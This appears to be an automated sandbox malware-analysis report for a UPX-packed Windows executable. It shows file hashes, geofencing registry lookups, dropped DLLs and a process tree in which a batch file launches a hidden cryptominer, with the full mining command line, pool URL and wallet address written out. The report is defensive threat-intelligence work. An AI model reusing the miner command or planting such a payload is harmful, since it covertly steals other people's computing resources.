73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22-02-2024 05:26

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2844	b2e.exe
4296	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4296	cpuminer-sse2.exe
4296	cpuminer-sse2.exe
4296	cpuminer-sse2.exe
4296	cpuminer-sse2.exe
4296	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1708-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 2844	1708	batexe.exe	85
PID 1708 wrote to memory of 2844	1708	batexe.exe	85
PID 1708 wrote to memory of 2844	1708	batexe.exe	85
PID 2844 wrote to memory of 1164	2844	b2e.exe	86
PID 2844 wrote to memory of 1164	2844	b2e.exe	86
PID 2844 wrote to memory of 1164	2844	b2e.exe	86
PID 1164 wrote to memory of 4296	1164	cmd.exe	89
PID 1164 wrote to memory of 4296	1164	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Users\Admin\AppData\Local\Temp\5B8D.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5B8D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5B8D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1164
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5B8D.tmp\b2e.exe

Filesize
20.2MB

MD5
430ef2e81f0e43f4a04bbb6f45e23715

SHA1
770642dc60d96c6d23d5ee369651ce15b9a3f1f4

SHA256
6fec209bfa340d249b68b352d1b0ff79f0130d5052ecb25e0222473532169ba3

SHA512
d203963522be6a086531c5fb4aec9ed943f497e75666a043b1c9636542ddde5a9285fd4947d9061119f5406012d6ff0d98bcb6e14b352e8725caf3687ac7593c

Download Submit
C:\Users\Admin\AppData\Local\Temp\5B8D.tmp\b2e.exe

Filesize
9.0MB

MD5
b4b19cb639b6d67fbfc07c52c6346fde

SHA1
20f6302f57a579d48ef7cb7a452fb314e5dac03c

SHA256
0b58357ad712c7f79812b5b439d9c4200fe4c143aa9b91df2b3b3d2dbfa7aaca

SHA512
49de30bf60d99076874da8713eaec914b6607ad0cbc4e51af400af98ac9901f3cfade6aa2ded0f41eb5a2014c29580c0b47e155e7c9774db62687583d73dba00

Download Submit
C:\Users\Admin\AppData\Local\Temp\5B8D.tmp\b2e.exe

Filesize
8.9MB

MD5
993975d4dd332a449695ee0f94a05dce

SHA1
5a83c1f70160d83170cf1543e7042ef50b68c8fa

SHA256
e3cdb4e87f6a541a1b40a729191e4457fb1a85cbaf4bf0fa73ce3fef07f55b6d

SHA512
f896064cbce1ea157e43bcc6dcafa8e05407cf1dc82295633569edfdd6de2568291c04e5fb769cb8f4ccd39137dc86548e5588894db3e335cd7b2e23ad4b5cbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.5MB

MD5
c3c4c891bbdd2c9049a483493ef783ee

SHA1
7f40f86efe73cda9f38cb6aa252a24bb35b603d1

SHA256
c0ea0a7d9663ef1caa60ba823c4ed89566c51c9976de6a44a96bc9a943be8733

SHA512
8d7b603107146e99de48556bb90bcc3a5feb06e2b974f2d06255f64acc0fef9c61e1ac7b368e29089032d4b1ba77c7d0e99f244e75dd41e206ec50dba7095d74

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.5MB

MD5
d218dc8dc4df56dbacadf6307e032dc4

SHA1
13ab4005d431e00cffca715645149cffcc476ef2

SHA256
a67b79de3b91367bedec67e9712d7e2ea6bacab6976a3b4f5d48754d4a9a9abd

SHA512
4fd441031b07d1e1bd084bd6d0957e0f7532e74df27d0c2a428938c46f27618e76df4b9b46d688e19ad5e907a1df48a19615b4c8548a381164ae3d9b2006df6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.9MB

MD5
f863125bd719d4cc827892cc95aa443a

SHA1
86e318dab7210eb8f7a8bdb91f01d9067dae3edb

SHA256
8a0830b9f710a422d6e7f8e803678e6263bc2a4ba2846627ef165201dc5e5722

SHA512
2c68eeaa9930c7543d7f83e585a5e0e2a1cf637da47481877428e83df077fd6ce0fcef2fdcdf23d1da93643e37bc149ff819d570691184e5504dc289195ed0ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1708-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2844-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2844-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4296-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4296-46-0x000000006BAC0000-0x000000006BB58000-memory.dmp

Filesize
608KB

Download
memory/4296-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4296-47-0x0000000001060000-0x0000000002915000-memory.dmp

Filesize
24.7MB

Download
memory/4296-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4296-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4296-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4296-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4296-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4296-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4296-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download